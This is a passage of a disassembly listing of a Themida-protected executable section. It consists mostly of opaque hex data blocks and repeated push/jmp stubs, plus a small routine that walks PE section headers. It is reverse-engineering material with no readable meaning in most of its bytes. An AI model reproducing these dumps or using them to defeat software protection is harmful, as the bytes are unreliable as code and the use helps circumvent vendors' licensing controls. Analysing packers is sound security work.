dd 858D0000h, 613065Dh, 538408Bh, 9B46F317h, 36408589h
dd 858D0616h, 613065Dh, 893C408Bh, 16364485h, 5D858D06h
dd 89061636h, 13111D85h, 87E906h, 8B520000h, 728B60D4h
dd 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h
dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h
dd 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h
dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h
dd 728BDB33h, 0C4A8B08h, 13E9h, 2D3CAC00h, 0A840Fh, 98040000h
dd 0D8321334h, 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh
dd 8C25A5Eh, 0D0858D00h, 89061638h, 13204585h, 0F8858D06h
dd 89061638h, 1322D585h, 20858D06h, 89061639h, 130EE585h
dd 6A6006h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
dd 51410000h, 0F8D12FC3h, 0E912AE5Dh, 0E836434Eh, 0Ah
dd 478F0A23h, 5D4EF3Eh, 8B603460h, 4631BECFh, 5E610E7Fh
dd 0DE9C08Bh, 9B000000h, 68E000AEh, 6068C60Ah, 586CAD71h
dd 1625BD83h, 75000613h, 81BD8309h, 6132Ch, 53501974h
dd 0EB8C08Bh, 89000004h, 130D7D85h, 7D9D8D06h, 0FF0615A9h
dd 83585BD3h, 132C81BDh, 17740006h, 0EB85350h, 89000004h
dd 130D7D85h, 6C9D8D06h, 0FF0615A6h, 6A585BD3h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 5E83C351h, 0A133683Fh, 0FC973E9h, 8B66C9BFh, 50006AC8h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 0BF0F741Ch, 8BC08BF6h, 95BD83C8h, 6131Fh, 0A840Fh, 0D9800000h
dd 247E9FFh, 0D38B0000h, 0CE81DF8Ch, 4FFA59Ch, 4C7F766h
dd 32850F00h, 6A000002h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1A042444h, 45000000h, 6C1AC355h, 80A221Fh
dd 0CFC180F1h, 55F9B5BAh, 5BD8341h, 61315h, 34850Fh, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 23E642C3h, 0E99CAA3Dh, 1D5h, 8800Fh, 81570000h, 0A71403D1h
dd 0FF2B5A4Ch, 0F28B5956h, 3C9C9D8Dh, 0E6810616h, 78740B6Dh
dd 0FE9h, 8202E000h, 0C0589C2Ah, 72797BA4h, 5491DAF5h
dd 683FBE93h, 0B25062D8h, 0F18B939Ch, 35FF64h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h
dd 47000000h, 0C9FAC357h, 69F7D471h, 8964B0AFh, 25h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 88EC8B5Fh, 0C48BFAB5h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 60C35141h, 460F580h, 0D08B66A5h, 0EB01CDh
dd 20B9D68Bh, 6A6AD6D9h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 2C31C351h, 0BAF2BF0Fh
dd 1E2E59E5h, 58F64h, 0B5000000h, 83F18B22h, 6A04C4h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 5CB4ADC3h, 0EA81669Bh, 0C00BD600h, 0B3840Fh, 8B660000h
dd 6A61D3h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 0E23D2BC3h, 607AB626h, 0B6D18166h, 61FA8BC5h
dd 7533BD8Dh, 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 190424h, 51410000h, 0C27EC8C3h, 0F7AC2B5h, 1880h, 8C0F6000h
dd 0
dd 0AE8h, 40794900h, 55699DEDh, 595A2502h, 1B861h, 880F0000h
dd 3, 0FFD7B70Fh, 5FBF60E7h, 0B078BD77h, 8B576116h, 8B10245Ch
dd 0B883h, 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h, 2000000h
dd 0C3C0335Fh, 8B66F38Bh, 6A61CAh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 0FC06CCC3h, 0CBB70FF3h
dd 8BF78B66h, 12E8C0h, 1F430000h, 49BFA773h, 8BD3B033h
dd 0E22CB7D0h, 3668CC3Fh, 4840Fh, 0BA660000h, 835AEFB9h
dd 131625BDh, 9750006h, 2C81BD83h, 74000613h, 8B535019h
dd 40EB8C0h, 85890000h, 6133115h, 0A9E49D8Dh, 0D3FF0615h
dd 0BD83585Bh, 6132C81h, 50177400h, 40EB853h, 85890000h
dd 6133115h, 0A6859D8Dh, 0D3FF0615h, 0D78B585Bh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0BAC35040h, 0BECF7CE3h
dd 8B7869F6h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1D04h, 0C3524200h, 0A0A30D64h, 50AB588Dh, 0D08B4BA4h
dd 0EE8C28Bh, 0E6000000h, 67D2A678h, 0BD378EDCh, 0FB3B6628h
dd 5F67B274h, 0BE9h, 5E638A00h, 0BFAB359Fh, 4811682Dh
dd 6C41C781h, 0B3560000h, 0EEBE5BAFh, 0E900001Ah, 0Dh
dd 6917AE88h, 0F6A5AC8Fh, 6CD9FE6h, 0E937FF53h, 5, 60CC37C7h
dd 81F559B5h, 0EFFA39F1h, 81D88B0Ch, 215216E9h, 6D38120h
dd 811601A7h, 0E9A219E9h, 89F88A26h, 6E90Fh, 0AF060000h
dd 0F3CC9857h, 0BA04EF83h, 17C6CA2Eh, 1EE81h, 850F0000h
dd 0FFFFFFB5h, 8EBh, 0
dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h
dd 613173Dh, 700C858Dh, 88B0616h, 1000888Bh, 0A8B0000h
dd 0FC4A8B66h, 3E408D89h, 0BD830616h, 6131505h, 0F840F00h
dd 60000000h, 95FF006Ah, 6130DA9h, 0FFC4E961h, 8966FFFFh
dd 0CEC1FC72h, 72896610h, 4CD5202h, 3C85895Ah, 8B06163Eh
dd 163E40B5h, 10CEC106h, 2728966h, 3E40B58Bh, 89660616h
dd 8B61FC72h, 163E3C85h, 958DC306h, 6132D31h, 206D9589h
dd 95890613h, 6130F55h, 0F5585FFh, 85C60613h, 61311E1h
dd 48D86853h, 0B5FFFCB1h, 613116Dh, 3AAD858Dh, 0D0FF0613h
dd 0DA98589h, 858D0613h, 6163677h, 0D098589h, 20EB0613h
dd 8 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5B07EF
; ---------------------------------------------------------------------------
jmp loc_5B07E8
; ---------------------------------------------------------------------------
push 61640CCh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 6164190h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61643C6h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 6164426h
jmp loc_58442C
; ---------------------------------------------------------------------------
dw 0CD19h
dd 0B7072989h, 0BF113797h, 0B6052B8Bh, 0C7163C9Ah, 31FE2D8Dh
dd 0E7C78DDCh, 0FFDF73C1h, 0E4C286D9h, 0C1E16BBEh, 2CA6D7F8h
dd 0F516B3F4h, 6BBDC29Ch, 9FFF8EDFh, 0F6909DB4h, 3FFD1F9Ch
dd 0A72341EDh, 3Dh, 0BDE5C2BBh, 1571E06Ch, 0DE109DB5h
dd 77D635BFh, 0B8109DB5h, 0C40C3E92h, 0B6157178h, 8B8BED47h
dd 90C5E216h, 0A877636h, 0E473D56Ah, 88CA17A1h, 4C045334h
dd 536E4C2Dh, 33h, 0F2DDC2EFh, 0E2F31ADEh, 30AEDDE7h, 71109EAFh
dd 0AEC31F4Eh, 98C109Eh, 273612A5h, 87E2DEE6h, 0C3A2A83Ch
dd 863771E4h, 59BC168Ch, 0E7765C79h, 0BDF9636Dh, 518EDF6Bh
dd 6C74D869h, 624BBA1Dh, 62D7FB6Fh, 912E1CB0h, 0B4E33FAEh
dd 69AC909Dh, 2935715Fh, 85057857h, 0C6909DA4h, 0A51A74E9h
dd 2253909Dh, 909DA4A8h, 0FE1F2C71h, 451479F6h, 5AB42906h
dd 23909DA5h, 65F8DAE2h, 76E7C8E7h, 909DA51Ch, 3A18A0E5h
dd 4A3E3FEh, 0A0B0FF23h, 94A4E918h, 98FD968Eh, 8DDA38C9h
dd 0D5318A8Ah, 3F783864h, 86E0DAADh, 76000000h, 1670E5C2h
dd 0DF109DB5h, 86CC1CBEh, 9FE7023Eh, 8B94CD40h, 5A45168Bh
dd 1BAB8E5Dh, 0C421AB2Bh, 0ED406241h, 6302489Ch, 98F26344h
dd 610A871Ah, 84A6B43Ch, 0A5661B31h, 0BE80021Bh, 392322Fh
dd 3D890000h, 4797B919h, 2F81A707h, 4695BB1Bh, 3786AC0Ah
dd 0A18EBD1Dh, 7757FD4Ch, 6F4F0351h, 7452F649h, 7151FB4Eh
dd 9CF66768h, 6516B3F4h, 0E5C2122Ch, 9DB51670h, 6EFBDF10h
dd 223D87E6h, 350h, 1C6BBDC0h, 0DD71C1CAh, 0D6CADBCh, 29A691AEh
dd 834FEF85h, 8F7CD687h, 40B5109Eh, 109E8EC6h, 0DC410E8Fh
dd 0A6245514h, 95109E8Eh, 109E8EB5h, 9E8F27A4h, 8EB41210h
dd 23A3109Eh, 12109E8Fh, 0D09E8EB4h, 0DCFB8BD6h, 6F2767F6h
dd 6491919Ch, 0BF9C2445h, 892FB14Eh, 0E5FBE56h, 0B80CB7B2h
dd 0B2A03092h, 4CBF4D3h, 0BBC210F0h, 5283D018h, 5079408Fh
dd 0C170E528h, 0C6B9F02Ah, 2CE2A27h, 14D0000h, 3537555h
dd 0F3456B4Bh, 2517757h, 0FB4A704Eh, 0E54A7959h, 0BB1B3988h
dd 0AB0B4795h, 0B8163285h, 0AD0D3F92h, 0D04ABBA4h, 9916B3F5h
dd 0E0C2DE80h, 98BA0250h, 5FF54445h, 0D1EE8F0Eh, 4351BDE6h
dd 5B677FADh, 76E8BD91h, 9E4D97F6h, 0A03F47A2h, 0F16DA0BFh
dd 0BA109E9Eh, 6A0B4998h, 75AD2362h, 2B6A168Ch, 5EB7A38Ch
dd 0DDEC2F51h, 620C1004h, 0C71170ADh, 7715A789h, 88178C06h
dd 3A6A550Ah, 5C05C65Bh, 0F2D1B0D1h, 3AC6D2CDh, 99712BA3h
dd 69766778h, 99B70160h, 84296BCh, 0BE10D839h, 9A851A6Ah
dd 0BAF06A9Bh, 54B90A87h, 104AB66Fh, 9DC4E071h, 4D9BCAE9h
dd 6A1075E2h, 0CBBE184Dh, 6870471h, 0CEEC31BEh, 71CC3F9Fh
dd 7E086104h, 3B597E61h, 4896D905h, 355B43Ch, 0B80A6060h
dd 1547655h, 4A1B3988h, 2B0CAACBh, 4A7DD90Ch, 0C746FE5Ch
dd 0C28ADBFDh, 49940273h, 4B96FE5Ch, 4ABB9C3Bh, 0FE5C48D0h
dd 6F6C7499h, 0C3696750h, 5E3D5ABh, 78F04CBBh, 187D044Ah
dd 21B39CBBh, 8E79FBDEh, 0C41D48A3h, 7819D2B9h, 0BECB5E70h
dd 3051E06Ah, 6E547151h, 0A3E273DDh, 0A6A63719h, 4092B897h
dd 0FCDE3F0Eh, 0AFDEE66Ch, 0F846033Fh, 44982841h, 71EAC4A4h
dd 0BB2A89E8h, 0FE346B6Dh, 0F6DCFB1Ah, 3958E963h, 9D85A2AFh
dd 292E3F0Bh, 1D272AE9h, 1CA4C58Eh, 4FE2A73Ah, 4C2D6CFDh
dd 53F94C6Eh, 0A8225374h, 71F23003h, 0E745A42Ch, 0B6278402h
dd 0F81DDB7Eh, 0DD6E5473h, 0C4880273h, 0E51EC19h, 19C483DFh
dd 0A8C94CECh, 0F342C320h, 19C40482h, 60EE40ECh, 0F05CEDD1h
dd 0C8412B61h, 17A14DDh, 3DE51DDBh, 16C578h, 70990000h
dd 109DAA12h, 1155h, 24597600h, 109D97AAh, 10CA1273h, 9DAF1270h
dd 0BEA3D610h, 0CD9CB805h, 0A4FE6F4Ch, 6D109DB4h, 4D6A4928h
dd 677D365h, 109DB48Ch, 0B53690C5h, 9EFF109Dh, 57844CD1h
dd 8B8BB226h, 912E6F16h, 0AE361AA9h, 9EE8013Fh, 7A9DCC41h
dd 4FCE1078h, 0EF6A251Ah, 0BA975679h, 98h, 0BF1F3783h
dd 0A5054999h, 0B9193183h, 0AA084897h, 0BB1B3988h, 0F746A788h
dd 0D5B7D5Dh, 0F0436545h, 5587A58h, 755A6747h, 0B3F78600h
dd 68DA4F16h, 414DE0C2h, 9DB552CCh, 9BFA1B10h, 8AFCE551h
dd 8C64B82Dh, 0FC21168Bh, 6C1A4F6Dh, 67C71E4Fh, 5881078h
dd 0EF647550h, 0FEDB9279h, 38h, 0DFFF57E3h, 0C5E569F9h
dd 0D9F951E3h, 0CAE868F7h, 0DBFB59E8h, 972647E8h, 0AD3B1DBDh
dd 902305A5h, 0A5381AB8h, 153A07A7h, 0B3F966E0h, 48FA2F16h
dd 3C4h, 0E17B6A00h, 54E571BDh, 0DC6DDF72h, 52E365FAh
dd 0E372E070h, 330252DFh, 0C392C20Fh, 1120307Fh, 9EAF9B2Dh
dd 15242ABCh, 0E0895022h, 405h, 4E88300h, 5C240487h, 57241489h
dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 40682404h, 89000023h
dd 6852241Ch, 743F4C56h, 8124148Bh, 4C4h, 90CA8100h, 81002154h
dd 291D7AEAh, 5AD0896Eh, 465668h, 24248900h, 4240483h
dd 481505Bh, 6D696924h, 8438F4Ah, 6969BF57h, 7B294A6Dh
dd 1C8B5F08h, 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h
dd 5024048Bh, 405E089h, 83000000h, 48704C0h, 45E95C24h
dd 9FFFD3Ch
; ---------------------------------------------------------------------------
loc_5B07E8: ; CODE XREF: Themida_:005B01F9j
mov eax, 6164483h
add eax, ebp
loc_5B07EF: ; CODE XREF: Themida_:005B01F4j
mov ecx, eax
jmp short $+2
jmp loc_5B0E0F
; ---------------------------------------------------------------------------
jmp loc_5B0E08
; ---------------------------------------------------------------------------
push 616462Bh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 6164743h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61647EAh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61648C1h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61649E9h
jmp loc_58442C
; ---------------------------------------------------------------------------
db 22h
dd 0BEE4C294h, 0DEC4E26Ch, 80A2004Ah, 9F81212Fh, 31644212h
dd 14408DFEh, 0E4494B6h, 13358AB0h, 103C8DB3h, 37A6A9B2h
dd 16B3F9DBh, 6C4E6DA4h, 0F46E76DCh, 4DF1DDC2h, 0B786C81Ah
dd 0FE717156h, 0AE2C5B65h, 9D109E56h, 109E5741h, 9E56AB28h
dd 57389610h, 5179109Eh, 9AFB4AFEh, 5752B352h, 0AC93109Eh
dd 67038919h, 15ADA158h, 4383935Bh, 1E2C8022h, 8706CE4Fh
dd 909E4E07h, 69464029h, 8F3C21F4h, 1CBBDA96h, 7A7A136h
dd 64F78E21h, 553455E4h, 0AA245976h, 738A8B35h, 1D1BCA12h
dd 144FFCC4h, 7F242ABCh, 7B1ACBC0h, 0B044295Ch, 654D907Bh
dd 0F26F79D5h, 812ADE93h, 0A047F9F2h, 464A5h, 0FC5AE800h
dd 0E46AFCDEh, 0FA50E4C6h, 0EB65F6DCh, 0FC58E5CBh, 2B40EFDEh
dd 3218B69Eh, 3012B0A2h, 2B0DAD9Bh, 4714B29Ah, 0FB79D508h
dd 0CF4216B3h, 0E06CBD73h, 1507251h, 90C50253h, 109DB536h
dd 0F5FF9EFFh, 9DB53796h, 0A5E07310h, 0E8293814h, 4496B889h
dd 0B5533B0Ah, 0A8125144h, 0EB3E6413h, 0B7134261h, 80109DB4h
dd 3081D31Dh, 499CBE1Ch, 3B7BA403h, 9111C5AAh, 626403CDh
dd 815E7DCFh, 9EB0920Ch, 0B23A5B10h, 8CBC0F33h, 34799BDh
dd 8811132h, 0DE5BF51Dh, 0CABA134h, 0B3EC5923h, 0AE369594h
dd 0A14414B0h, 92ECA341h, 52000003h, 51E06CBDh, 9DB4A120h
dd 5CEDD710h, 9A3913A6h, 9D2725B8h, 38ADB2BFh, 109DB4DEh
dd 614966A7h, 0ABEA7BCFh, 2B80C221h, 4A9BBD1Dh, 2B7DA502h
dd 0BC0C4E1Fh, 7EEDF796h, 7B5B2342h, 0F9480455h, 0EBCB87D5h
dd 9DB51A78h, 4C065610h, 52FA4B6Fh, 84DDDB8Ah, 1130A502h
dd 62168EA5h, 8B842E23h, 0DE8D8005h, 34C03h, 0A4B20000h
dd 0BC922406h, 0A2A83C1Eh, 0C38D1E04h, 0E470BDE3h, 3358D7C6h
dd 2A10AEA6h, 381AB89Ah, 2305A5A3h, 4F1CBA92h, 0FC81DD10h
dd 0D74A16B3h, 4DE0C26Bh, 52E3F5FFh, 0D6676BFAh, 55E3E776h
dd 72F9DEFDh, 167592D7h, 12418F59h, 109EAAF4h, 9E99E363h
dd 0AEFE2410h, 9BAD02A4h, 0E3B1FF51h, 9E9A1872h, 55FB4C10h
dd 91B68504h, 0F8ADFB5Fh, 0E687E6E2h, 6EA82657h, 9FCA109Eh
dd 0B24D6221h, 0D6CCA6Ah, 1AA991AEh, 0DEE62736h, 8EE4AAAFh
dd 30CCF316h, 0D7C6D80Dh, 0E627C40Ch, 6108973h, 322FBE80h
dd 2A5h, 9B3B1BA7h, 892925B5h, 953515A7h, 8E2C24B3h, 97371DACh
dd 0D3628BA4h, 0B1FF2181h, 8C1F01A1h, 0A93C1EBCh, 193603A3h
dd 0B3FC6AE4h, 84DE3316h, 8E1D6CBDh, 0CE9FAFFFh, 0FE1F2E4Fh
dd 0CB1A409Fh, 9EA03F89h, 242E7E0Bh, 83D2F445h, 0F190BA0Eh
dd 82CC5E60h, 0D6739DB3h, 0F4D607EFh, 3D5CED63h, 32E059B3h
dd 0B50DAD9Fh, 0A341EAE7h, 2104Fh, 0F94A7000h, 3D870657h
dd 4EE0C2A3h, 0BB0D3100h, 3E5FBE8Fh, 0B4F757B6h, 0A033109Dh
dd 9A270BA8h, 626AABBAh, 4FF94E74h, 387DCFEh, 9DB578D2h
dd 0BDDC4110h, 0CF6CE6ACh, 1E6BFF28h, 725DB9Dh, 489BBDh
dd 4D4A0AA2h, 48F2A341h, 48000000h, 0EBC8BEA3h, 8E98F77Ah
dd 0D88D1016h, 80056EEAh, 0CE815C0Bh, 7E000001h, 0A2882630h
dd 0BAA03E10h, 0A4862426h, 0BB9D3D13h, 9588262Eh, 70E4719Ah
dd 72E07052h, 6FD96E54h, 74D8694Fh, 13428D56h, 16B3FCB7h
dd 0D6352980h, 0B51284F9h, 173B109Dh, 0B13E86C6h, 29381CA9h
dd 0D6B79325h, 5CED63F4h, 0C90D5C3Dh, 0CEF4D276h, 8FB90E7Bh
dd 2F3E5FBEh, 93B50A30h, 8EF0ED49h, 93B50A30h, 90BC0D33h
dd 232F7DC1h, 0E7879A83h, 0AB002F95h, 54CE3F20h, 1D109E96h
dd 0D36569F8h, 0D3661FB4h, 0C8A9E879h, 0D10D09A9h, 972710AFh
dd 673C793Dh, 87CB1AA2h, 50025235h, 8BB49131h, 684613BAh
dd 0C44D72A8h, 506D4CB8h, 96F4935Dh, 0D7109E70h, 0BE2866F3h
dd 842A5EBCh, 0BFFBC5A4h, 73EF1EAAh, 0AC109DCEh, 9DCDDD39h
dd 0D867A610h, 86F7D4B5h, 168EC83Fh, 7C5E7DA0h, 634764EAh
dd 0A8E978D0h, 0BE103220h, 9D82C190h, 0E1E3271Dh, 95B70180h
dd 13370642h, 9ABC8DC5h, 0F7350446h, 0A4FCCEF2h, 1FF2A710h
dd 617E617Eh, 8A12B22Ch, 0D21A7B0Ah, 7B07FE33h, 63167710h
dd 79F1DC8Dh, 0A6F6D39Ah, 0A6000000h, 0BAA03E18h, 0A2882628h
dd 0BC9E3C0Eh, 0A385252Bh, 0ADA03E16h, 78DC6982h, 6AE8785Ah
dd 77D1664Ch, 6CE07157h, 2B5A854Eh, 16B3FDAFh, 0BD3D2178h
dd 0DCC3E06Ch, 2ADEFC36h, 0CD1CA4EAh, 351BAC8Eh, 0F9DBE524h
dd 5BB72668h, 24109DD8h, 0C9B180E1h, 351DCA3Fh, 3B1DA7A3h
dd 0FF4FDFAAh, 704E2F6Eh, 41C904D4h, 17ACA3h, 70920000h
dd 109DB511h, 118AFC4Dh, 2DCFFC5h, 183797F6h, 1Ch, 0B51270B6h
dd 0FB4E109Dh, 6B547151h, 4CC14E4Fh, 109DF6D2h, 0E557A9Bh
dd 5A04CC3Ah, 255D168h, 2F000000h, 0E571BD6Dh, 6DDF7254h
dd 0E365FADCh, 72E07052h, 252DFE3h, 92C20F33h, 20307FC3h
dd 0AF9B2D11h, 242ABC9Eh, 0EC832215h, 48F5404h, 24048124h
dd 4, 81E68956h, 4C6h, 4EE8300h, 5C243487h, 52241489h
dd 0C281E289h, 4, 8704EA83h, 895C2414h, 6568241Ch, 8B061645h
dd 0C4812414h, 4, 8904EC83h, 4812424h, 424h, 89515B00h
dd 84B89D1h, 83240C8Bh, 34FF04C4h, 0C4815B24h, 4, 5024148Bh
dd 405E089h, 83000000h, 48704C0h, 31E95C24h, 3DFFFD36h
dd 0A0A99707h, 357A6A53h, 0ECD01A98h
; ---------------------------------------------------------------------------
loc_5B0E08: ; CODE XREF: Themida_:005B07F8j
mov eax, 6164AB4h
add eax, ebp
loc_5B0E0F: ; CODE XREF: Themida_:005B07F3j
mov edx, ecx
jmp loc_5B0E67
; ---------------------------------------------------------------------------
pusha
mov esi, [esp+24h]
add esi, [esi+3Ch]
mov edi, [esp+28h]
mov edx, esi
add edx, 0F8h
mov cx, [esi+6]
movzx ecx, cx
loc_5B0E31: ; CODE XREF: Themida_:005B0E5Cj
cmp ecx, 0
jz loc_5B0E50
cmp edi, [edx+0Ch]
jg loc_5B0E58
sub edx, 28h
mov eax, [edx+0Ch]
mov ecx, [edx+14h]
sub eax, ecx
sub edi, eax
loc_5B0E50: ; CODE XREF: Themida_:005B0E34j
; Themida_:005B0E62j
mov [esp+1Ch], edi
popa
retn 8
; ---------------------------------------------------------------------------
loc_5B0E58: ; CODE XREF: Themida_:005B0E3Dj
add edx, 28h
dec ecx
jnz loc_5B0E31
jmp loc_5B0E50
; ---------------------------------------------------------------------------
loc_5B0E67: ; CODE XREF: Themida_:005B0E11j
mov edx, 9FD3Eh
jmp loc_5B0FD7
; ---------------------------------------------------------------------------
db 0B9h, 0D9h, 0D7h
dd 95ECE75Dh, 715893DAh, 0B6CFDF06h, 5D54FDBEh, 0ECA43636h
dd 5DD500BCh, 76D352C5h, 0FC94A4D6h, 0AEC44100h, 77CB50C1h
dd 0ACAC3252h, 46BF009Ch, 90ADFC6Ch, 0A3365973h, 72E275D6h
dd 90BD9Ch, 8CE693DDh, 0A592A79Bh, 0A7ABDD64h, 918F9792h
dd 0F95CFC7Ah, 0B1E496B9h, 47E4B59Bh, 0E592B69Fh, 0BDF694B6h
dd 0B3EBB59Eh, 93D0EC96h, 97BF999Ch, 0F55CFD7Bh, 0AFF49389h
dd 0B2CD00EDh, 0E594A6E3h, 0C3B5D4h, 622D4457h, 0AE29B0F3h
dd 38h, 60h, 64h, 2 dup(0)
dd 4, 94h, 5, 1, 0A28h, 2, 76726553h, 20656369h, 6B636150h
dd 3220h, 26h dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5B0FD7: ; CODE XREF: Themida_:005B0E6Cj
jmp loc_5B2F71
; ---------------------------------------------------------------------------
push 6164F20h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 6165018h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61650BBh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 616519Dh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 616522Fh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 6165310h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61653B7h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 6165461h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 616586Ah
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61658F8h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 6165A0Eh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 6165D1Ch
jmp loc_58442C
; ---------------------------------------------------------------------------
push 6166146h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 6166467h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61665AAh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 616661Ch
jmp loc_58442C
; ---------------------------------------------------------------------------
push 616667Ch
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61666CEh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 616686Ah
jmp loc_58442C
; ---------------------------------------------------------------------------
push 6166965h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 6166B27h
jmp loc_58442C
; ---------------------------------------------------------------------------
dw 15A1h
dd 0EF3F6141h, 7597F5Fh, 0EE3D6343h, 0CF5E4462h, 39F62585h
dd 0EFCF85D4h, 0F7D77BC9h, 0ECCA7ED1h, 0F9D973C6h, 247EEFF0h
dd 0ED16B402h, 0E0C28AB4h, 716EFF4Dh, 9DB4A2FCh, 4B2A6B10h
dd 4EFE4F81h, 57FB4971h, 0AE3D8706h, 933319ACh, 9B384E93h
dd 8EA30F6Ah, 3270816h, 6DE998B0h, 360A8A9Fh, 985F8D7h
dd 0D20A8A9Fh, 59BC29B3h, 0E8E4CB08h, 0F74D203Fh, 0BB8F2185h
dd 0CB74D231h, 3FCB0A89h, 0F0D2A2CAh, 3A7A5AADh, 0E0000000h
dd 0EBC8BEA3h, 8BDA7AC7h, 554F447h, 0FEDBE584h, 8E988E8Fh
dd 2F3E5F16h, 8A8980DEh, 0BE3BD70Ah, 0EE7A2E19h, 3F0E4291h
dd 0DA98F9DEh, 6E2EB63Eh, 0D65AADD8h, 0B6h, 0E06CBD6Ch
dd 0FF4FDFC3h, 46A52F6Eh, 0CE9FB504h, 4213398Ch, 3F9FAD00h
dd 52CC411Eh, 1B109DB5h, 0B54DC93Ch, 0F716109Dh, 0A0BF4E96h
dd 5D109DB1h, 5D67E375h, 4462EA7Bh, 0B081CB5Eh, 0BA196D74h
dd 8EB6464Bh, 1DAB8F16h, 0A28C0677h, 30550A8Ah, 37810051h
dd 4B4B6BAAh, 22537016h, 10750C1Fh, 143695F8h, 92F8FC5h
dd 40E598BCh, 5D79EFE8h, 1CD093CEh, 51DD0000h, 3383A505h
dd 4395BB1Bh, 3281A707h, 4B9AC01Eh, 0B57AA909h, 6B4B0958h
dd 7B5BF745h, 68460255h, 7D5DEF42h, 0A0FA6B74h, 6916B403h
dd 70BD0E30h, 51E4C6E4h, 89249335h, 9680462h, 0BEA30FA9h
dd 7AC7EBC8h, 0B687C717h, 0B1AE3657h, 8E985D3Ch, 5EEF2E16h
dd 8A87AF2Fh, 0F55DEB0Ah, 80D26264h, 87048EB1h, 3EBB579Eh
dd 0AD395E1Eh, 0C2065Ah, 0BD5C0000h, 6D51E06Ch, 94E574E0h
dd 109DB177h, 7DF09E2Fh, 109DB121h, 0FA490555h, 0FBDCFA9Bh
dd 0AFF755D4h, 0D665EBAEh, 7FD11B7Ah, 104F1E2Eh, 0A9B89A2Ah
dd 6298A6A2h, 0C6DA769h, 157178C4h, 6F4247B6h, 0AC8B168Eh
dd 5C005A8Bh, 44C90A8Ah, 8A5BB915h, 0B903820Ah, 0E6C6232Ch
dd 9DFB3942h, 87E2DEFCh, 99ADE0FFh, 92107479h, 1E2F1DB0h
dd 19419EFFh, 82A88CCh, 4DE69BB9h, 5679EF64h, 1BD8BA97h
dd 89D50000h, 7BCBEDCDh, 7BCDF3D3h, 7AC9EFCFh, 83D2F8D6h
dd 6DC2F1D1h, 3A3B100h, 0E3C38F1Dh, 0DE6ABDh, 0E5C587DAh
dd 882F3DCh, 0D116B405h, 0E0C2E658h, 98BA0250h, 85AB0B49h
dd 20BA1834h, 51E06CBDh, 5270DC6Dh, 8CFB4D75h, 6B75143Ah
dd 11588965h, 503123B2h, 0A5630273h, 1174168Eh, 0C8FB5FEEh
dd 3C25A600h, 5F86D4Ah, 0FE53ED25h, 7772CE9Fh, 883DB00Fh
dd 14DD9FBh, 0ED203F9Ch, 41D5E771h, 0C411DB3Ah, 0A1014BDEh
dd 450F9E84h, 8108597Bh, 0CD4C1D31h, 0D5E0B9ACh, 5615B750h
dd 1B357Bh, 6CEA7800h, 74DA6C4Eh, 6AE07456h, 7BD5664Ch
dd 6CE8755Bh, 0BBD05F4Eh, 0A288262Eh, 40624012h, 5B7D5DEBh
dd 5764420Ah, 4890578h, 3F5216B4h, 0E06CBD23h, 20557251h
dd 109DB4A6h, 388C2E6Fh, 0FAC24312h, 0B025A3BEh, 109DB556h
dd 0A1A93B1Fh, 71107190h, 0AF3E2352h, 0B6D7168Eh, 1103718h
dd 7A1E139Ch, 0C0D2F8C0h, 0E7C4C2A7h, 7B3CF776h, 434F7810h
dd 188BD5A9h, 0EAF07D47h, 0ABDAF95Bh, 477392Fh, 13F495F8h
dd 66EA17Ah, 0D4B2B7CBh, 0CC7386F7h, 296C42B6h, 0FEC51C18h
dd 7293A2ACh, 3E8EB413h, 0E2C44514h, 0E6F3FD4Fh, 0A3A3C277h
